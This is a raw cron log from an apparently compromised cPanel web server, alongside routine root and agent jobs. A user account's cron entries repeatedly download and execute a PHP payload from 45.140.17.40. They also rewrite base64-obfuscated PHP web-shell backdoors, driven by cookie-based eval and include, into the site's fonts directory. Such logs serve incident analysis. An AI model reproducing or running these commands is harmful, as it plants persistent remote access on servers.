Sep  6 07:12:02 ip-184-168-122-23 CROND[504]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 07:12:02 ip-184-168-122-23 CROND[505]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:13:01 ip-184-168-122-23 CROND[590]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 07:13:01 ip-184-168-122-23 CROND[586]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 07:13:01 ip-184-168-122-23 CROND[588]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:13:01 ip-184-168-122-23 CROND[589]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:14:01 ip-184-168-122-23 CROND[682]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:14:01 ip-184-168-122-23 CROND[684]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:14:01 ip-184-168-122-23 CROND[687]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 07:14:01 ip-184-168-122-23 CROND[689]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 07:14:01 ip-184-168-122-23 CROND[688]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 07:15:01 ip-184-168-122-23 CROND[878]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 07:15:01 ip-184-168-122-23 CROND[880]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:15:01 ip-184-168-122-23 CROND[883]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:15:01 ip-184-168-122-23 CROND[882]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 07:15:01 ip-184-168-122-23 CROND[889]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 07:15:01 ip-184-168-122-23 CROND[888]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 07:16:01 ip-184-168-122-23 CROND[981]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:16:01 ip-184-168-122-23 CROND[984]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 07:16:01 ip-184-168-122-23 CROND[985]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 07:16:01 ip-184-168-122-23 CROND[983]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 07:16:01 ip-184-168-122-23 CROND[986]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 07:16:01 ip-184-168-122-23 CROND[987]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:17:01 ip-184-168-122-23 CROND[1082]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 07:17:01 ip-184-168-122-23 CROND[1083]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:17:01 ip-184-168-122-23 CROND[1085]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 07:17:01 ip-184-168-122-23 CROND[1086]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:18:01 ip-184-168-122-23 CROND[1175]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 07:18:01 ip-184-168-122-23 CROND[1174]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:18:01 ip-184-168-122-23 CROND[1176]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 07:18:01 ip-184-168-122-23 CROND[1177]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:18:01 ip-184-168-122-23 CROND[1178]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 07:19:01 ip-184-168-122-23 CROND[1261]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 07:19:01 ip-184-168-122-23 CROND[1260]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:19:01 ip-184-168-122-23 CROND[1259]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 07:19:01 ip-184-168-122-23 CROND[1262]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:20:01 ip-184-168-122-23 CROND[1355]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 07:20:01 ip-184-168-122-23 CROND[1358]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 07:20:01 ip-184-168-122-23 CROND[1360]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 07:20:01 ip-184-168-122-23 CROND[1361]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:20:01 ip-184-168-122-23 CROND[1365]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 07:20:01 ip-184-168-122-23 CROND[1366]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 07:20:01 ip-184-168-122-23 CROND[1359]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:20:01 ip-184-168-122-23 CROND[1362]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 07:20:01 ip-184-168-122-23 CROND[1364]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 07:21:01 ip-184-168-122-23 CROND[1574]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 07:21:01 ip-184-168-122-23 CROND[1573]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:21:01 ip-184-168-122-23 CROND[1575]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:21:01 ip-184-168-122-23 CROND[1576]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 07:22:01 ip-184-168-122-23 CROND[1675]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 07:22:01 ip-184-168-122-23 CROND[1677]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 07:22:01 ip-184-168-122-23 CROND[1678]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:22:01 ip-184-168-122-23 CROND[1680]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 07:22:01 ip-184-168-122-23 CROND[1679]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:23:01 ip-184-168-122-23 CROND[1764]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 07:23:01 ip-184-168-122-23 CROND[1766]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:23:01 ip-184-168-122-23 CROND[1765]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 07:23:01 ip-184-168-122-23 CROND[1767]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:24:01 ip-184-168-122-23 CROND[1892]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 07:24:01 ip-184-168-122-23 CROND[1896]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 07:24:01 ip-184-168-122-23 CROND[1894]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:24:01 ip-184-168-122-23 CROND[1897]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
